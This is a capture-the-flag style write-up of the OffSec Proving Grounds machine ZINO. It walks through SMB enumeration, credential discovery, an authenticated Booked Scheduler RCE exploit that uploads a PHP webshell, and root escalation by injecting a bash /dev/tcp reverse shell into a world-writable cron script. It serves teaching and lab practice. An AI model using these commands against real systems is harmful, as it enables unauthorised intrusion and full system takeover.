Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - ZINO

·2525 words·12 mins·
OFFSEC PG PRACTICE NXC SMB SMBCLIENT
 Author
Table of Contents

Summary
#

Access the server using provided credentials of peter or getting credentials to a web application (Booked Scheduler) from a file on an open SMB share. Once access to the application we can use a python exploit getting access to a PHP webshell. Abusing a existing python cronjob we can escalate our privileges to root.

Specifications
#

  • Name: ZINO
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • OS: Linux zino 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
  • IP address: 192.168.118.64
  • OFFSEC provided credentials: Peter:RiflemanDecreaseCosmolog485
  • HASH: local.txt:bd268c5ab9ea813c52b15f46ac639128
  • HASH: proof.txt:f02bbcc8fd0a4134abf5c51817238e90

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir zino && cd zino && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x 7 kali kali 4096 Jul 13 14:20 .
drwxrwxr-x 3 kali kali 4096 Jul 13 14:20 ..
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 enum
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 exploits
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 files
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 tools
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 uploads

## set bash variable
ip=192.168.118.64

## ping target to check if it's online
ping $ip
                                                                                                     
PING 192.168.118.64 (192.168.118.64) 56(84) bytes of data.
64 bytes from 192.168.118.64: icmp_seq=1 ttl=61 time=18.4 ms
64 bytes from 192.168.118.64: icmp_seq=2 ttl=61 time=19.3 ms
^C
--- 192.168.118.64 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.426/18.875/19.325/0.449 ms

Reconnaissance
#

Portscanning
#

Using the Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.118.64:21
Open 192.168.118.64:22
Open 192.168.118.64:139
Open 192.168.118.64:445
Open 192.168.118.64:3306
Open 192.168.118.64:8003
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 14:25 CEST
Initiating Ping Scan at 14:25
Scanning 192.168.118.64 [4 ports]
Completed Ping Scan at 14:25, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:25
Completed Parallel DNS resolution of 1 host. at 14:25, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:25
Scanning 192.168.118.64 [6 ports]
Discovered open port 445/tcp on 192.168.118.64
Discovered open port 139/tcp on 192.168.118.64
Discovered open port 3306/tcp on 192.168.118.64
Discovered open port 22/tcp on 192.168.118.64
Discovered open port 8003/tcp on 192.168.118.64
Discovered open port 21/tcp on 192.168.118.64
Completed SYN Stealth Scan at 14:25, 0.05s elapsed (6 total ports)
Nmap scan report for 192.168.118.64
Host is up, received echo-reply ttl 61 (0.027s latency).
Scanned at 2025-07-13 14:25:33 CEST for 0s

PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack ttl 61
22/tcp   open  ssh          syn-ack ttl 61
139/tcp  open  netbios-ssn  syn-ack ttl 61
445/tcp  open  microsoft-ds syn-ack ttl 61
3306/tcp open  mysql        syn-ack ttl 61
8003/tcp open  mcreport     syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
           Raw packets sent: 10 (416B) | Rcvd: 7 (292B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
21/tcp   open  ftp          syn-ack ttl 61
22/tcp   open  ssh          syn-ack ttl 61
139/tcp  open  netbios-ssn  syn-ack ttl 61
445/tcp  open  microsoft-ds syn-ack ttl 61
3306/tcp open  mysql        syn-ack ttl 61
8003/tcp open  mcreport     syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## change directory
cd files  

## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports

## output previous command
21,22,139,445,3306,8003

## move one up
cd ..

## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,139,445,3306,8003 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 61 vsftpd 3.0.3
22/tcp   open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 b2:66:75:50:1b:18:f5:e9:9f:db:2c:d4:e3:95:7a:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC44YysvRUv+02vB7LK+DbEvDnTUU2Zzaj42pbyX7gL4I5DhhWWZmK4Sr/MulEE2XPnKhXCCwTVuA12C/VuFhVdnq7WjDwfV+4a1DEuDG8P7wQAux0waAsly34mGtd7HQhQIv9h7nQWcTx8hoOrF6D71eHiZmLJ6fk01VlFN75XKJGn/T/ClJHz9UJ33zwkhqXskMO9At21LfOBE+I3IQCHuFFO6DcQWw/SsZaXQxHNzLqnI/9j1aQuvyuh6KMdT6p10D577maBz+T+Hyq/qeOgbGU0YGAoXXMU36FibkoQ+WwDRYbEHYKJccUXhzFWp980PYCIDtZNaWuo/AbgryLB
|   256 91:2d:26:f1:ba:af:d1:8b:69:8f:81:4a:32:af:9c:77 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOmcORNC6GjDnH1cqJrCeytZJjGrpJyY+CgseFsH27PJmSbmVYEz0ls0w/oXR0xrG/IfvxxyH9RRX2BIsBTx2cY=
|   256 ec:6f:df:8b:ce:19:13:8a:52:57:3e:72:a3:14:6f:40 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9wfKL6wusRXGDMv5Tcf2OxMAIkhvOofRPsrSQ+aMbK
139/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open  mysql       syn-ack ttl 61 MariaDB 10.3.24 or later (unauthorized)
8003/tcp open  http        syn-ack ttl 61 Apache httpd 2.4.38
|_http-title: Index of /
|_http-server-header: Apache/2.4.38 (Debian)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2019-02-05 21:02  booked/
|_
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Service Info: Hosts: ZINO, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-07-11T18:02:16
|_  start_date: N/A
|_clock-skew: mean: 1h19m59s, deviation: 2h18m35s, median: -1s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 40704/tcp): CLEAN (Timeout)
|   Check 2 (port 23725/tcp): CLEAN (Timeout)
|   Check 3 (port 61764/udp): CLEAN (Timeout)
|   Check 4 (port 56156/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: zino
|   NetBIOS computer name: ZINO\x00
|   Domain name: \x00
|   FQDN: zino
|_  System time: 2025-07-11T14:02:18-04:00

Initial Access
#

Initial Access: path 1
#

Because we got credentials from OFFSEC we can first try to login using SSH on TCP port 22.

## nmap output:
22/tcp   open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

We can access the ZINO server using SSH with the provided credentials: Peter / RiflemanDecreaseCosmolog485 with the following command and paste the password when asked. Once logged in we find in the root folder of the peter user the local.txt

ssh peter@$ip

peter@zino:~$ cat local.txt
bd268c5ab9ea813c52b15f46ac639128

In the root folder of the Peter user there’s also a misc.log file. In this file there is a username and password: admin/adminadmin

peter@zino:~$ cat misc.log 
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"

Initial Access: path 2
#

## nmap output:
139/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)

Using port 135,445 we could also get the same credentials as shown in Initial Access Path - 1. List available SMB shares with a blank/null username/password:

## run nxc with the SMB protocol to get a list of available shares and permissions/remarks
nxc smb $ip -u '' -p '' --shares            

SMB         192.168.136.64  445    ZINO             [*] Unix - Samba (name:ZINO) (domain:) (signing:False) (SMBv1:True)
SMB         192.168.136.64  445    ZINO             [+] \: 
SMB         192.168.136.64  445    ZINO             [*] Enumerated shares
SMB         192.168.136.64  445    ZINO             Share           Permissions     Remark
SMB         192.168.136.64  445    ZINO             -----           -----------     ------
SMB         192.168.136.64  445    ZINO             zino            READ            Logs
SMB         192.168.136.64  445    ZINO             print$                          Printer Drivers
SMB         192.168.136.64  445    ZINO             IPC$                            IPC Service (Samba 4.9.5-Debian)

This shows there is a zino share available and we read this share with null authentication. Connect to the share. Now we can see the same content as within the root of the peter user:

## connect to the zino share with provided credentials
smbclient  \\\\$ip\\zino -U '' -p ''

Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jul  9 21:11:49 2020
  ..                                  D        0  Tue Apr 28 15:38:53 2020
  .bash_history                       H      178  Fri Jul 11 20:43:31 2025
  error.log                           N      265  Tue Apr 28 16:07:32 2020
  .bash_logout                        H      220  Tue Apr 28 15:38:53 2020
  local.txt                           N       33  Fri Jul 11 18:56:03 2025
  .bashrc                             H     3526  Tue Apr 28 15:38:53 2020
  .gnupg                             DH        0  Tue Apr 28 16:17:02 2020
  .profile                            H      807  Tue Apr 28 15:38:53 2020
  misc.log                            N      424  Tue Apr 28 16:08:15 2020
  auth.log                            N      368  Tue Apr 28 16:07:54 2020
  access.log                          N     5464  Tue Apr 28 16:07:09 2020
  ftp                                 D        0  Tue Apr 28 16:12:56 2020

                7158264 blocks of size 1024. 4726224 blocks available

Within the SMBclient prompt we can get the misc.log file using the get command. If we cat this file we’ll see the same output and credentials as within Initial Access Path - 1.

## within the SMBclient session, type below to download the file: 
get misc.log

## exit the SMB session
exit

## print the content to screen
cat misc.log

Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
## nmap output:
8003/tcp open  http        syn-ack ttl 61 Apache httpd 2.4.38
|_http-title: Index of /
|_http-server-header: Apache/2.4.38 (Debian)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2019-02-05 21:02  booked/

When we visit port 8003 in our browser we’ll see the following directory listing:

Once clicked on booked we get redirected to a login portal with URL: http://192.168.136.64:8003/booked/Web/?. We can see at the bottom of the screen the version of the application: Booked Scheduler v2.7.5.

When we try to login using the found credentials admin/adminadmin we get logged in.

Running searchsploit we can see there is a authenticated RCE.

## run the searchsploit command
searchsploit Booked Scheduler 

---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)                    | php/webapps/46486.rb
Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated)           | php/webapps/50594.py
Booked Scheduler 2.7.7 - Authenticated Directory Traversal                        | php/webapps/48428.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Since we have verified credentials to the application we can use this exploit. We can mirror and run it. It’s a simple PHP webshell. Run the exploit to get a shell.

## mirror the exploit
cd exploits && searchsploit -m php/webapps/50594.py

## run the exploit with the verified credentials
python3 50594.py http://$ip:8003 admin adminadmin

[+] Logged in successfully.
[+] Uploaded shell successfully
[+] http://192.168.136.64:8003/booked/Web/custom-favicon.php?cmd=

$ whoami
www-data

Now we also have a rudimentary shell on the target as the www-data user.

Privilege Escalation
#

## change to `uploads` directory 
cd uploads

## download linpeas.sh from github
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## start a local python webserver using a known open port
python3 -m http.server 3306

## run `wget` on target to download the `linpeas.sh` file
peter@zino:~$ wget http://192.168.45.154:3306/linpeas.sh

--2025-07-13 08:49:01--  http://192.168.45.154:3306/linpeas.sh
Connecting to 192.168.45.154:3306... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh.1’

linpeas.sh.1                 100%[==============================================>] 933.76K  3.89MB/s    in 0.2s    

2025-07-13 08:49:02 (3.89 MB/s) - ‘linpeas.sh.1’ saved [956174/956174]

## on the attacker host we can see that the file was requested from the target
└─$ python3 -m http.server 3306
Serving HTTP on 0.0.0.0 port 3306 (http://0.0.0.0:3306/) ...
192.168.118.64 - - [13/Jul/2025 14:49:01] "GET /linpeas.sh HTTP/1.1" 200 -

When downloading we need to use a port that’s already open, default ports like 80 or 443 didn’t work. In this example we used the port 3306. Now we can run linpeas.sh.

## add the `x` mode bit (execute) to the `linpeas.sh` file
peter@zino:~$ chmod +x linpeas.sh

## execute `linpeas.sh`
peter@zino:~$ ./linpeas.sh 

Within the output of linpeas we can see that a python script is run every third minute as the root user: python /var/www/html/booked/cleanup.py.

We can also see this when we print /etc/crontab.

## print `/etc/crontab`
cat /etc/crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/3 *   * * *   root    python /var/www/html/booked/cleanup.py

Also any user can read/write/execute this file.

## list file
peter@zino:~$ ls -la /var/www/html/booked/cleanup.py
-rwxrwxrwx 1 www-data www-data 164 Apr 28  2020 /var/www/html/booked/cleanup.py

## print `cleanup.py`
peter@zino:~$ cat /var/www/html/booked/cleanup.py

#!/usr/bin/env python
import os
import sys
try:
        os.system('rm -r /var/www/html/booked/uploads/reservation/* ')
except:
        print 'ERROR...'
sys.exit(0)

The python file runs a os.system command where it removes any any files within the /var/www/html/booked/uploads/reservation/ directory. When can edit the python logged in as Peter using nano or upload the edited file, the same way we uploaded linpeas.sh.

Once the file has been saved we only need to wait until cron has executed the python script as root, and get a bash reverse shell. We’ll catch the reverse shell with nc.

## list pathname of bash
peter@zino:~$ which bash
/usr/bin/bash

## edit the file with nano 
peter@zino:~$ nano /var/www/html/booked/cleanup.py 

## change the content of the file and press CTRL+X:
#!/usr/bin/env python
import os
import sys
try:
        os.system("/usr/bin/bash -c '/usr/bin/bash -i >& /dev/tcp/192.168.45.154/3306 0>&1'")
except:
        print 'ERROR...'
sys.exit(0)

## on attacker host setup a listener on port 3306:
└─$ nc -lvnp 3306             
listening on [any] 3306 ...
connect to [192.168.45.154] from (UNKNOWN) [192.168.118.64] 36000
bash: cannot set terminal process group (22682): Inappropriate ioctl for device
bash: no job control in this shell
root@zino:~# 

root@zino:~# cat proof.txt
cat proof.txt
f02bbcc8fd0a4134abf5c51817238e90

References
#

[+] https://github.com/bee-san/RustScan